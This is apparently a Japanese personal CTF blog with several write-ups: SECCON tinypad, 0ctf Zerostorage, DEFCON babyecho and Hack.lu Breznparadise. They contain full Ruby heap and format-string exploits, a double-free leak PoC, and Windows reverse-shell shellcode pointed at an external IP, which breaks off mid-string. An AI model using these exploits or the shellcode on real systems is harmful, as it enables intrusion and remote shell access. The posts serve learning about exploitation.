読者です 読者をやめる 読者になる 読者になる

Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

SECCON 2016 Online CTF tinypad(pwn300)

想定解ではない解き方から,いろいろ学ぶ会.

Info

  • 64bitのnot strippedでdynamically linkedなバイナリ
  • Full RELRO,Canary,Nx enabled
  • libcは配布

Analysis

メモ管理系のバイナリで,4つのメモを以下のような構造体で管理しており,グローバル変数として存在するのだが,なぜかこの構造体の前に空き領域がある感じに(要は構造体の構造体)なっており,以下の構造体が実際にあるのは0x602140だった.

struct {
    size_t size;
    char *memo;
}

また,このメモに対して以下のコマンドを実行することができる.

  • A: サイズを入力して,mallocを呼び,そのサイズ分そこに書き込む
    • サイズは,どんな値でも入力できるが,$ 0 < x < 0x100 $を満たさないと,変更される
  • D: インデックスを入力して,そのmemoをfreeする
  • E: インデックスを入力して,そのmemoを書き換える
  • Q: コマンド実行用のループから抜けるだけ

脆弱性としては,毎回4つのメモ内容を表示する仕様になっており,memoの追加削除の有無にかかわらず表示しているため,free済みchunkなどをleakすることができてしまうという脆弱性がある.
もう1つは,入力関数にsingle null byte overflowがある.

Exploit

まず,どうやってHeapやLibcのアドレスを上記の脆弱性を使って行うかだが,まず4つのメモを追加する.例えば,3番目,1番目の順番にメモを削除する.そうすると,fastbinsに入らないchunkはいったんunsortedbinに追加されるわけなので(ただ,後ろのchunkがfree済みだっりするとconsolidateが走りまとめようとしてくるので,今回のケースで言えば2番目と4番目のchunkはそれを防ぐためといえる),そのfreed chunkのfdやbkは他のchunkであったり,top chunkを指すようになる.具体的に言えば,1番目のfreed chunkのfdは3番目のfreed chunkを指しており,3番目のfreed chunkのfdはtop chunkを指すようになる.そうすると,削除済みのメモにかかわらず表示する仕様上,ちょうどdata領域もといfreed chunkのfdがリークするので,topとheapのアドレスが手に入り,オフセットを用いて計算することで,ヒープベースlibcベースが算出できる.また,このリークに使ったchunkが後続する攻撃に影響すると嫌なので,とりあえず2番目と4番目のメモも削除した.

次に,もう一つの脆弱性であるsingle null byte overflowを使って任意の場所への書き込みを行う.要は,Poisoned NULL byteのテクニックを実践してみる. 確保したchunkのdata領域に書き込む時に,この脆弱性で,0x00があふれるというのは,隣接する次のchunkのsizeの末尾1byteを0x00に変えること意味する.このsizeの末尾1byteというのはPREV_INUSEを意味し,前のchunkが使用しているかどうかの判定などに使われる.またsizeの末尾1byteが上書きできるということは,その前のprev_sizeも書き換えが可能である. そこで,今回はオーバーフローをしつつfake chunkを作るということをする.例えばmalloc(1)を呼ぶと,sizeは0x20になるので,これと同じ最小のfake chunkを作る.そこで,sizeを0x21,fd,bkを共にfake chunk自身に向け,オーバーフローした方のprev_sizeを0x20にして,sizeの末尾1byteを0x00に変える.そして,2番目のchunkをfreeすると,PREV_INUSEなどから直前のchunkはfree済みとみなされて,1つの空き領域としてまとめられる.そうすると,本来Aのdata領域であったところの一部が空き領域となってしまう
次に,fastbinsに入るような小さなchunkを確保し,最初のchunkをfreeして,次にこのchunkをfreeする.そして再度最初のchunkを最初と同じサイズで確保すると,fastbinsに入っているfreed chunkを含んだ範囲をdata領域として確保されることになる.つまり,オフセットを計算しておけば,freed chunkのfdなどを書き換えることが可能になる.
freed chunkのfdがいじれるので,sizeの整合性が取れるところを指すようにしたりすることで House of Spiritが可能となる.fdなどを書き換えたfreed chunkをfreeして,fastbinsに突っ込み,その後同サイズのmallocを呼び,さらにもう一度呼べば,それは書き換えたfdが指すアドレスを返すので,意図的な箇所に書き込みが可能となる.(今回は,4番目のメモの手前を指すようにした.なので,予め4つ目のメモのサイズ0x31を合わせておいた).
そうすると,メモの内容表示の部分で今度は,そのアドレスの中身をリークすることができる.今回はセキュリティ機構が厳しかったので__libc_argvからスタックのアドレスをリークして,edit処理(正確に言えば,2番目のメモのポインタが指すのが,4番目のメモのアドレスなので2番目で書き込みたいアドレスを入力すると,4番目のメモのポインタの指す先がそのアドレスになるので書き込みが可能になる)で,main関数のreturn addressを上書きする方針を取った.よって,return addressをone gadgetに飛ばしてシェルを取った.

#!/usr/bin/env ruby
# coding: utf-8

require 'pwnlib'
require 'fsalib'
require 'one_gadget'
include Shellcode

host = 'localhost'
port = 8888


def add(t, len, data)
  puts "[!] Add memo"
  t.sendline("A")
  t.recv_until(">>>")
  t.sendline(len.to_s)
  t.recv_until(">>>")
  t.sendline(data)
  t.recv_until(">>>")
end

def edit(t, id, data)
  puts "[!] Edit memo"
  t.sendline("E")
  t.recv_until(">>>")
  t.sendline(id.to_s)
  t.recv_until(">>>")
  t.sendline(data)
  t.recv_until(">>>")
  t.sendline("Y")
  t.recv_until(">>>")
end

def del(t, id)
  puts "[!] Delete memo"
  t.sendline("D")
  t.recv_until(">>>")
  t.sendline(id.to_s)
end

PwnTube.open(host, port) do |t|

  tinypad_addr = 0x602140
  libc_argv_offset = 0x3c82f8
  onegadget_offset = OneGadget.gadgets(file: '/lib/x86_64-linux-gnu/libc.so.6')[2]
  
  # Leak heap and libc addr
  t.recv_until(">>>")
  add(t, 0x100, "A1")
  add(t, 0x100, "B1")
  add(t, 0x100, "C1")
  add(t, 0x100, "D1")
  del(t, 3)
  t.recv_until(">>>")
  del(t, 1)
  data = t.recv_capture(/INDEX: 1\n # CONTENT: (.+)\n\n\n/)
  heap_addr = u64(data[0].ljust(8, "\x00"))[0]
  data = t.recv_capture(/INDEX: 3\n # CONTENT: (.+)\n\n\n/)
  top_addr = u64(data[0].ljust(8, "\x00"))[0]

  heap_base = heap_addr - 0x220
  libc_base = top_addr - 0x3c3b78

  puts "[+] heap base: 0x%x" % heap_base
  puts "[+] libc base: 0x%x" % libc_base

  t.recv_until(">>>")
  del(t, 2)
  
  t.recv_until(">>>")
  del(t, 4)
  t.recv_until(">>>")
  
  add(t, 0xf8, "A2")
  add(t, 0xf8, "B2")
  add(t, 0xf8, "C2")
  add(t, 0x31, "D2") # 後に,fastbinsでsizeの整合性を取る
  

  del(t, 1)
  t.recv_until(">>>")

  # 最小のfake chunkを作る
  # fake chunk
  # prev_size: 0
  # size: 0x21
  # fd: fake chunk
  # bk: fake chunk
  
  fake_chunk_offset = 0xe0
  fake_chunk_addr = heap_base + fake_chunk_offset
  payload = ""
  payload << "@" * 0xd0
  payload << p64(0, 0x21)
  payload << p64(fake_chunk_addr, fake_chunk_addr)
  payload << p64(0x20)
  payload = payload.rjust(0xf8, "@")
  add(t, 0xf8, payload)

  # consolidate
  del(t, 2)

  # fastbinのchunkを作る
  payload = ""
  payload << "@" * 24
  payload << p64(0x121)
  add(t, 0x20, payload)

  # 最初と上記のchunkをfreeする
  del(t, 1)
  t.recv_until(">>>")
  del(t, 2)
  t.recv_until(">>>")

  # 最初と同じサイズで確保することで,freed chunkを上書き
  payload = "@" * 0xd0
  payload << p64(0, 0x31) # prev_size, size
  payload << p64(tinypad_addr + 0x28) # fd: 3番目のポインタのアドレス
  add(t, 0xf8, payload)
  
  del(t, 1)
  t.recv_until(">>>")
  
  # fastbinsからchunkを返す
  add(t, 0x28, "A3")

  # 書き換えられたfdが指す先を返す
  add(t, 0x28, p64(libc_base + libc_argv_offset))
  stack_ddr = u64(t.recv_capture(/INDEX: 4\n # CONTENT: (.+)\n\n\n/)[0].ljust(8, "\x00"))[0]
  
  stack_offset = 0xe0
  edit(t, 2, p64(stack_ddr - stack_offset))

  edit(t, 4, p64(libc_base + onegadget_offset))

  t.sendline("Q")

  t.recv_until(">>>")

  t.shell
end

以下が実行結果である.

f:id:encry1024:20170404222334p:plain

感想

いろいろなHeap周りのテクニックを学んできたが,あまりヒープのレイアウトを意識して学んだり使ったことがなかった.なので,今回のようにちゃんと「現在どういうヒープのレイアウトになっているのか」,「どこにどんなchunkがあるのか」等を意識して考えることはとても勉強になった.特にPoisoned null byteのテクニックは学んだだけで利用したことはなかったので,実際に利用してみて,たった「1byteの0x00のOverflowがここまで攻撃に起因してしまうのか・・」というCTFとはまた違った感情を抱いたりした.

資料

double freeを用いたargv[0] leak

double freeの時に呼ばれる関数でも__libc_message関数が呼ばれているので,argv[0] leakが可能という一行で伝わる人は時間の無駄なので,そっと閉じて欲しい.

はじめに

普通の人は,Buffer Overflow対策のためのgccのセキュリティ機構SSP(Stack-Smashing Protection)の検知時に呼ばれる__stack_chk_fail関数によるargv[0] leakの手法は知っているだろう.(katagaitaiCTF勉強会資料4回)
大雑把にこれを説明すると__stack_chk_fail関数が呼ばれた際に内部で呼ばれる__libc_message関数がargv[0]を出力するため,ここを任意のアドレスに書き換えれば,任意の値リークに繋がるという手法である.そのためにはいろいろ環境(xinetd,socat配下等)を考慮しなくてはいけないが,そこはkatagaitaiCTF勉強会資料を見て欲しい.

double freeを用いたargv[0] leak

今回は,Buffer Overflow時ではなく,double free時にも同様のことが起こることを実践する. 通常malloc関数で確保した領域はfree関数で解放するのだが,解放済みの領域を,再度解放できてしまう脆弱性をdouble freeと呼ぶ.通常はありあえないはずだが,条件分岐のバイパスや制御を奪ったあとでは簡単に二回目のfree関数を呼ぶことも難しくはないかもしれない.

現在のglibcmalloc.cでは,double freeをした際にかぎらず,fastbins関係のエラーなど,ほぼmalloc_printerr関数が呼ばれるようになっている.以下にmalloc_printerr関数を示す.

extern char **__libc_argv attribute_hidden;

static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  /* Avoid using this arena in future.  We do not attempt to synchronize this
     with anything else because we minimally want to ensure that __libc_message
     gets its resources safely without stumbling on the current corruption.  */
  if (ar_ptr)
    set_arena_corrupt (ar_ptr);

  if ((action & 5) == 5)
    __libc_message (action & 2, "%s\n", str);
  else if (action & 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = '\0';
      char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
      while (cp > buf)
        *--cp = '0';

      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
                      __libc_argv[0] ? : "<unknown>", str, cp);
    }
  else if (action & 2)

上記のコードの下らへんで,__libc_message関数が呼ばれており,これが__stack_chk_fail関数の中でも,引数argv[0]が取られて呼ばれるようになっている.そのため,malloc_printerr関数が呼ばれるとargv[0]が出力されるため,予めargv[0]を任意のアドレスに書き換えておけば,リークすることができるという流れである.

検証

手元でさくっと試せるように下にPocを載せておく.H@CKが出力されれば,勝ち.

// gcc poc.c
#include <stdlib.h>
char target[] = "H@CK";
int main(int argc, char* argv[]) {

  char *p;
  p = malloc(0x10);

  putenv("LIBC_FATAL_STDERR_=1"); // socat配下のため環境変数を設定
  argv[0] = target;               // argv[0]をtargetに設定

  free(p);
  free(p);                        // double free 発生

  return 0;
}

これを以下のようにして動かす.

$ socat tcp-l:8888,reuseaddr,fork exec:./a.out,stderr

いつもどおり繋いでみると,以下のような画面になるはずだ.

$ nc localhost 8888
*** Error in `H@CK': double free or corruption (fasttop): 0x00000000010a6010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f59956357e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x7fe0a)[0x7f599563de0a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f599564198c]
H@CK[0x400600]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f59955de830]
H@CK[0x4004e9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 00:30 608                                /home/vagrant/ctf/PoC/a.out
00600000-00601000 r--p 00000000 00:30 608                                /home/vagrant/ctf/PoC/a.out
00601000-00602000 rw-p 00001000 00:30 608                                /home/vagrant/ctf/PoC/a.out
010a6000-010c7000 rw-p 00000000 00:00 0                                  [heap]
7f5990000000-7f5990021000 rw-p 00000000 00:00 0
7f5990021000-7f5994000000 ---p 00000000 00:00 0
7f59953a8000-7f59953be000 r-xp 00000000 fd:00 5898421                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f59953be000-7f59955bd000 ---p 00016000 fd:00 5898421                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f59955bd000-7f59955be000 rw-p 00015000 fd:00 5898421                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f59955be000-7f599577d000 r-xp 00000000 fd:00 5899771                    /lib/x86_64-linux-gnu/libc-2.23.so
7f599577d000-7f599597d000 ---p 001bf000 fd:00 5899771                    /lib/x86_64-linux-gnu/libc-2.23.so
7f599597d000-7f5995981000 r--p 001bf000 fd:00 5899771                    /lib/x86_64-linux-gnu/libc-2.23.so
7f5995981000-7f5995983000 rw-p 001c3000 fd:00 5899771                    /lib/x86_64-linux-gnu/libc-2.23.so
7f5995983000-7f5995987000 rw-p 00000000 00:00 0
7f5995987000-7f59959ad000 r-xp 00000000 fd:00 5899760                    /lib/x86_64-linux-gnu/ld-2.23.so
7f5995b80000-7f5995b83000 rw-p 00000000 00:00 0
7f5995ba9000-7f5995bac000 rw-p 00000000 00:00 0
7f5995bac000-7f5995bad000 r--p 00025000 fd:00 5899760                    /lib/x86_64-linux-gnu/ld-2.23.so
7f5995bad000-7f5995bae000 rw-p 00026000 fd:00 5899760                    /lib/x86_64-linux-gnu/ld-2.23.so
7f5995bae000-7f5995baf000 rw-p 00000000 00:00 0
7ffdde641000-7ffdde662000 rw-p 00000000 00:00 0                          [stack]
7ffdde6f7000-7ffdde6f9000 r--p 00000000 00:00 0                          [vvar]
7ffdde6f9000-7ffdde6fb000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

上記の通り,H@CKが出力されていることがわかる.勝ち.

syscalldumpを公開

Pwnでシェルコードを書く時やROPでシステムコールを直に叩くことは多い.しかしx86x86_64などの違いや引数の順番,システムコール番号などがあやふやになり,毎回ググったり,ソースコードgrepしたりしていた.
そこで,ただ調べたいシステムコール名を与えるだけで,その引数情報やシステムコール番号を出力するだけのツールを作った.

$ syscalldump mmap
rax: 9
rdi: unsigned long addr
rsi: unsigned long len
rdx: unsigned long prot
rcx: unsigned long flags
 r8: unsigned long fd
 r9: unsigned long off

bitbucket.org

もちろん,前述した通り調べれば良いだけだが,それすらめんどくさくなってしまった私のような人にとっては便利かもしれない. 生成してあるバイナリはx86_64なので, 必要な人はビルドし直して.

ちなみに,システムコール番号とシステムコール名の対応付けだけ引きたい人は,以下のサイトを参考にすると良い.

Debianでシステムコールの番号と名前を調べる -- ぺけみさお

fsalib(format string attack library)を公開

Pwnにおいて書式文字列攻撃のコードを書くときは,たまにあり,Pythonだと以下のlibformatstrが有名だと思う.

github.com

しかし,RubyでExploitを書いている身としてはこれは使えないので,重い腰を上げようやく,自分用にlibformatstrの中で実際に書式文字列攻撃用の文字列を生成しているcore.pyRubyで書き直した.

github.com

使えそうなところは,本当にPythonRubyに直しただけで,名前などは自分が使いやすいように変えてしまったり,内部のメソッドの持ち方とかも,自分が書きやすい&理解しやすいように少し変えてしまった.

実際にDEFCON2015予選のbabyechoという問題で利用したのでexploitを載せておく.この問題はFSBがあるが,最初は読み込みサイズが小さいので,読み込みサイズの値をまず書き換えてしまってからシェルコードを流し込んで飛ぶという単純な問題である.個人的には小さい値を書き換えるぐらいはこのライブラリをわざわざ使う必要はないが,4byte書き込みとかになったらしんどいので利用している.

#!/usr/bin/env ruby
# coding: utf-8
require 'pwnlib'
require 'fsalib'
include Shellcode

host = 'localhost'
port = 8888

if(ARGV[0] == 'r')
  host = ''
  port = 0
end

PwnTube.open(host, port) do |t|

  # t.debug = true
  t.recv_until("bytes\n")
  t.sendline("%5$p")
  esp28 = t.recv_until("\n").to_i(16)
  esp = esp28 - 28
  puts "esp: 0x%x" % esp

  t.recv_until("bytes\n")
  payload = p32(esp + 0x10) # length
  payload << "%99c%7$n"     # 適当にlengthを書き換え
  t.sendline(payload)

  t.recv_until("bytes\n")
  payload = ""
 
  # 以下が書式文字列生成部分
  fsa = FSA.new
  fsa[esp + 1068] = esp + 68
  payload << fsa.payload(7)

  payload = payload.ljust(40, "@") # わかりやすいように40byteまでpadding
  payload << shellcode(:x86)
  t.sendline(payload)

  t.recv_until("bytes\n")
  payload = p32(esp + 0x18)
  payload << "%114514c%7$n" # ループの条件となっているFLAG変数を書き換え
  t.sendline(payload)

  t.shell

end

詳しくないが,簡易的なUsageはREADMEに書いたので見てくれ. あと,やっつけで書いたので,どうせミスってる部分あると思うし,誰か気づいたら教えてほしい.

0ctf2016 Zerostorage (pwn6)

github.com

日本語writeupないので,もしかしたら貴重かも?参考文献にあるwriteupが何やってるかわからなからないコードが多いので,exploitのコメントはがんばって書いてみた.

下調べ

  • Full RELRO, Canary, Nx, PIE
  • x86_64, stripped, dynamically linked
  • libc配布済み

厳しいバイナリ

解析

メモ管理系のバイナリで,以下のようなentry(自分で名前つけた)構造体を大域変数の配列entriesとしてもっている.

struct entry {
  int flag;
  int length;
  int *ptr; 
};

ptrメンバには,長さが0x80以下であればそのまま,それ以上であればその値を引数に取ってcallocを呼び,/dev/urandomの乱数でxorをした後にptrに格納する.利用する際には,毎回xorで復号している.

  1. Insert
    • 長さを入力して,その分だけデータを入力できる.
    • 上記のようにcallocを使ってメモリ確保
  2. Update
    • idを入力し,entry[id]が存在すれば長さを入力して,その分だけデータを入力できる.
    • 長さが以前より大きい場合はreallocが呼ばれる
  3. Merge(脆弱性)
    • 2つのid(to, from)を入力して,fromのデータをtoのデータのあとにmemcpyして,fromのentryのflagやlengthに0を代入する
    • fromのptrをfreeする   * 新しいentryにtoのptrや足し合わせた長さなどを代入する.
    • 同じidを入れた場合,fromのptrを解放した後に,新しいentryにtoのptrもとい同じptrを代入することになる(UAF)
  4. Delete
    • 入力したidのentryを消す.freeが呼ばれる.
  5. View
    • 入力したidのデータが見れる.
    • entry[id]のlength分writeする.
  6. List
    • リスト表示するだけ
  7. Exit
    • 終わり

Exploit

攻略の上で重要なのはMergeにおけるUAFである.これを用いることで,異なるentryから,free済みのchunkをいじれることになる.通常chunkのdata部分をユーザが触ることになるので,free済みの場合はmalloc_chunkのfdやbkを書き換えすることが可能になる.mchunk_sizeが小さくfastbinとして扱えるchunkであればすぐにfastbin unlink attackを行うことができるのだが,今回のchunkは最低0x80となっており,解放してもfastbinに入ることはない.
では,fastbinに入らないchunkはどうなるのかというと,unsortedbinという双方向なリストに繋がることになる.このリストにあるchunkはその後,smallbinやlargebinに振り分けられることになる.今回は,このunsortedbinを用いた攻撃手法のunsorted bin attackを使ってみる.
大雑把に説明すると,unsortedbinのbkメンバを書き換えることで,書き換えたアドレスを大きな値に書き換えることができるようになるという攻撃手法である.今回はUAFを用いてこのunsortedbin->bkを書き換える.では,どこを書き換えるのが良いだろうか. 結論から言うと,今回はlibc内の大域変数であるglobal_max_fastという値を書き換える.
malloc関数の内部で呼ばれる_int_malloc関数では,要求サイズをchecked_request2sizeで少しいじってあげて,その値を以下の条件分で比較し,真の場合はfastbinsからchunkを利用するという処理が行われる.

if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))

このget_max_fast()は以下のように定義されており,大域変数global_max_fastを返すだけのマクロになっている.

#define get_max_fast() global_max_fast

このglobal_max_fast自体は,malloc_init_state関数の内部でset_max_fastマクロを使ってDEFAULT_MXFASTという値を設定している.(DEFAULT_MXFASTは,x86なら0x40, x64なら0x80) つまり,gloabl_max_fastを大きな値にしてしまえば,chunkが大きくてもfastbinsに入れることが出来るということになる.そうすれば簡単にfastbins unlink attackに持ち込むことができる.
これらをするには,ヒープやlibcのアドレスをリークする必要がある.これに関してはViewでデータもとい解放済みのchunkを表示することで,unsortedbinのfdとbkが出力されるこになり,初期だとヒープベース,&main_arena->topになっているため簡単にリークできる.
fastbins unlink attackにより書き換えが可能になった後は,entryのptrを偽装してあげれば,Updateの際に偽装したアドレスに値を書き込むことが可能になる.そのためにはアドレスとKeyでXORした結果を格納しなくてはいけないので,Viewのリークを使って,Keyもリークさせる必要があるが,XORなのでentry[id]のptrと実際のentries[id]の2つでXORすればKeyは求まるため.事前にPIEのベースアドレスなども算出しておく.
これらを使って,書き換えを行う先としては,通常ならGOTとかを書き換えてしまえば楽なのだが,今回はFull RELROなのでこの方針はだめで,__free_hookを書き換えるようにする.

void
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook); // __free_hookを読み取る
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0)); // 関数ポインタ実行
      return;
    }

これはfree関数が呼ばれた時に実行される関数ポインタになっており,libc内のbssセクションにあるためFull RELROの制約を受けない上に,free(p)が__free_hook(p)となるので,chunkのデータ領域に引数を設定しておけば書き換えた関数へ楽に渡すことができる.
長くなったが,以下にexploitを示す.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888

def menu(t)
  t.recv_until(": ")
end

def insert(t, length, text)
  puts "insert"
  t.sendline("1")
  t.recv_until(": ")
  t.sendline(length.to_s)
  t.recv_until(": ")
  t.send(text)
  menu(t)
end

def update(t, idx, length, text)
  puts "update"
  t.sendline("2")
  t.recv_until(": ")
  t.sendline(idx.to_s)
  t.recv_until(": ")
  t.sendline(length.to_s)
  t.recv_until(": ")
  t.send(text)
  t.recv_until("\n")
  menu(t)
end

def merge(t, from_idx, to_idx)
  puts "merge"
  t.sendline("3")
  t.recv_until(": ")
  t.sendline(from_idx.to_s)
  t.recv_until(": ")
  t.sendline(to_idx.to_s)
  t.recv_until("\n")
  menu(t)
end

def delete(t, idx)
  puts "delete"
  t.sendline("4")
  t.recv_until(": ")
  t.sendline(idx.to_s)
  t.recv_until("\n")
  menu(t)
end

def view(t, idx)
  puts "view"
  t.sendline("5")
  t.recv_until(": ")
  t.sendline(idx.to_s)
  no = t.recv_until(":\n")
  text = t.recv_until("\n")
  [no, text]
end

PwnTube.open(host, port) do |t|

  offset_top = 3925944
  offset_pie = 6201344 # pie_baseとlibc_base間のオフセット
  offset_gloabl_max_fast = 3935040

  menu(t)
  
  # 解放予定chunk(delete)
  insert(t, 8, "WillFree") # 0

  # 対consolidate(UAF1) & system関数の引数用
  insert(t, 8, "/bin/sh\x00") # 0, 1

  # 解放予定chunk(merge)
  insert(t, 8, "WillFree") # 0, 1, 2

  # 対consolidate(UAF1)
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3

  # 対consolidate(UAF2)
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3, 4

  # fastbins unlink attackのときにentries[5]を利用
  # entries[5]をmalloc_chunkとして捉えた時以下のようになる
  # entries[5].flag   -> mchunk_prev_size
  # entries[5].length -> mchunk_size
  # entries[5].ptr    -> fd
  # 後にcallocする際にサイズチェックされるので
  # そのchunkのサイズと同じlengthにしておく
  insert(t, 0x90, "G" * 0x90) # 0, 1, 2, 3, 4, 5

  delete(t, 0)                # 1, 2, 3, 4, 5

  # UAF1
  # entries[2].ptrがunsortedbinに入る
  # unsortedbin->fd => heap_base
  # unsortedbin->bk => &main_arena->top
  merge(t, 2, 2)              # 0, 1, 3, 4, 5
  
  # entries[0]経由で,UAF発生
  heap_base, top = u64(view(t, 0)[1])
  libc_base       = top - offset_top
  global_max_fast = libc_base + offset_gloabl_max_fast
  pie_base        = libc_base + offset_pie
  global_entries  = pie_base + 0x203060
  #global_entries  = 0x555555554000 + 0x203060
  libc_free_hook  = libc_base + 0x3c0a10
  libc_system     = libc_base + 0x46590
  
  puts "pie_base 0x%x" % pie_base
  puts "entries 0x%x" % global_entries
  puts "heap base 0x%x" % heap_base
  puts "libc base 0x%x" % libc_base
  puts "libc_free_hook 0x%x" % libc_free_hook
  puts "libc_system 0x%x" % libc_system

  # unsortedbinに繋がっていたchunkがcallocで返される
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3, 4, 5
  
  # unsortedbin->bk = gloabl_max_fast - 0x10
  update(t, 0, 16, "GOMIGOMI" + p64(global_max_fast - 0x10))
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3, 4, 5, 6
  
  # UAF2
  merge(t, 4, 4) # 0, 1, 2, 3, 5, 6, 7

  # UAF2を利用してentries[7]経由でentries[4].ptrのfdを
  # &entries[5]に書き換え
  update(t, 7, 8, p64(global_entries + 5 * 24))
  
  # unlink
  insert(t, 8, "GOMIGOMI") # 0, 1, 2, 3, 4, 5, 6, 7

  # callocが&entries[5].ptrを返す
  # 24 = sizeof(struct entry)
  # entries[8].length = 24 * 3 + 8
  # entries[8].ptr = &entries[5]
  insert(t, 24 * 3 + 8, "G" * (24 * 3 + 8)) # 0, 1, 2, 3, 4, 5, 6, 7, 8

  # entries[5].ptrから24 * 3 + 8 分write
  # entires[8].ptrまでがleakする
  # KeyとXORされた&entries[5]が分かる
  leak = u64(view(t, 8)[1])[9]
  key = leak ^ (global_entries + 5 * 24 + 16)
  puts "[+] key 0x%x" % key

  # 8byte paddingを入れればentries[6]になる
  payload = "GOMIGOMI"                 # entries[5].ptr
  payload << p64(1)                    # entries[6].flag
  payload << p64(0x8)                  # entries[6].length
  payload << p64(key ^ libc_free_hook) # entries[6].ptr
  update(t, 8, payload.length , payload)

  # free_hookをsystemに書き換え
  update(t, 6, 8, p64(libc_system))

  # entries[1]を削除
  # free_hook起動
  t.sendline("4")
  t.recv_until(": ")
  t.sendline("1")

  t.shell
end

以下が実行結果である.これは自分のlibcだが,配布libcでもオフセットさえ変えればシェルを取ることができた. f:id:encry1024:20170303102912p:plain

感想

久しぶりにmalloc.cを読み返したりしながら,unsorted周りとかを見直すことができ,House of Forceの記事などで呼んだときよりも精確にfastbins周りのことについても学ぶことができたし,global_max_fastを書き換えて全部fastbinsにしちゃうという超絶テクも学ぶことができて楽しい問題だった.__free_hookに関しても実際に使ったことはなかったので良い経験になった.
そんなことは正直,今はどうでもよくて午後に本日公開のアサシンクリードの映画を見に行くので,めちゃくちゃ楽しみという気持ちと午後に成績発表があり胃が痛いという気持ち.

参考文献

Hack.lu2013 Breznparadisebugmachine (pwn500)

katagaitai CTF勉強会#8関東|medの午後問題として扱われた問題.WindowsのPwn問題ということで新鮮で面白かった.exploitコード自体は勉強会スライドとなんら変わりはないので,特に面白くはないと思うが,せっかく参加したので記事にしておく.

環境準備

  • ホストMacBookPro
    • Hopper, Ruby
    • こいつからexploitをゲストに向かって投げる
  • ゲストWindows Server2012無印
    • x86dbg, rp++, その他Windowsバイナリ解析に便利なツール
    • Windows Firewallを無効化
  • リバースシェル用の外部サーバ
    • ポート番号5555でlisten

下調べ

Windowsのセキュリティ機構もLinuxとほぼ変わらず,Linux用語を用いると以下のセキュリティ機構が付いている.
ASLR, PIE, RELRO, NXbit
またC++バイナリで,vector(STL), threadなどが使われていたりする.

解析

オーブンに入れて,プレッツェルなど3種類(Brezel, Laugenstangerl, Semmel)を焼いたり,ロボットに任せたりできるシステム.食べ物をオーブンに入れる際には,オーブンの番号や焼く時間,メモなどを格納することができる.また取り出す処理や,オーブンに入っている食べ物のAAを表示したりいろいろ機能が豊富で解析範囲が広い.ユーザーとのやりとりをするスレッド以外に,ロボットに任せる処理ではスレッドを新しく作り処理を行っている.
脆弱性としては,AAを表示する際に,ユーザの指定した種類のものでAAを表示する形式になっているので,小さいサイズが入っているオーブンに対して,大きいAAサイズを選択すると大幅にleakが発生する.さらに,SemmelだけInsertするときに後ろの方にヒープのポインタが保存されるので,これをリークするといろいろ便利. 他にもスレッド2の方では,UAFのバグが存在する(ここが分からずに当日を迎えた).

Exploit

大まかには,leakを使って,ヒープやバイナリのアドレスを求めて,ヒープベースやバイナリベースを算出後,UAFを使って,Editでvtableを上書きして,stack pivotして,ROPでmprotectに相当するVirtualProtectで実行権限を付与してあげて,シェルコードを実行させる方針. 以下にexploitを示す.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'


host = '10.211.55.18'
port = 27015

if(ARGV[0] == 'r')
  host = 'ctf.fluxfingers.net'
  port = 1340
end

B, L, S = 0, 1, 2
ON, OFF = 0, 1

# $ nc -l 55555
lhost = "10.211.55.2"
lhost = "150.95.129.191" if(ARGV[0] == 'r')
lport = 55555

puts "[+] listen 150.95.129.191:55555"
puts `nslookup alicemacs.com`.split("answer:\n")[1]

# https://gist.github.com/Charo-IT/70bca3ee57eac4b0d167614ac5f23406
sc = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" +
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" +
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" +
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32" +
"\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" +
"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b" +
"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f" +
"\xdf\xe0\xff\xd5\x97\x6a\x05\x68#{lhost.split(".").map{|a| a.to_i.chr}.join}\x68\x02" +
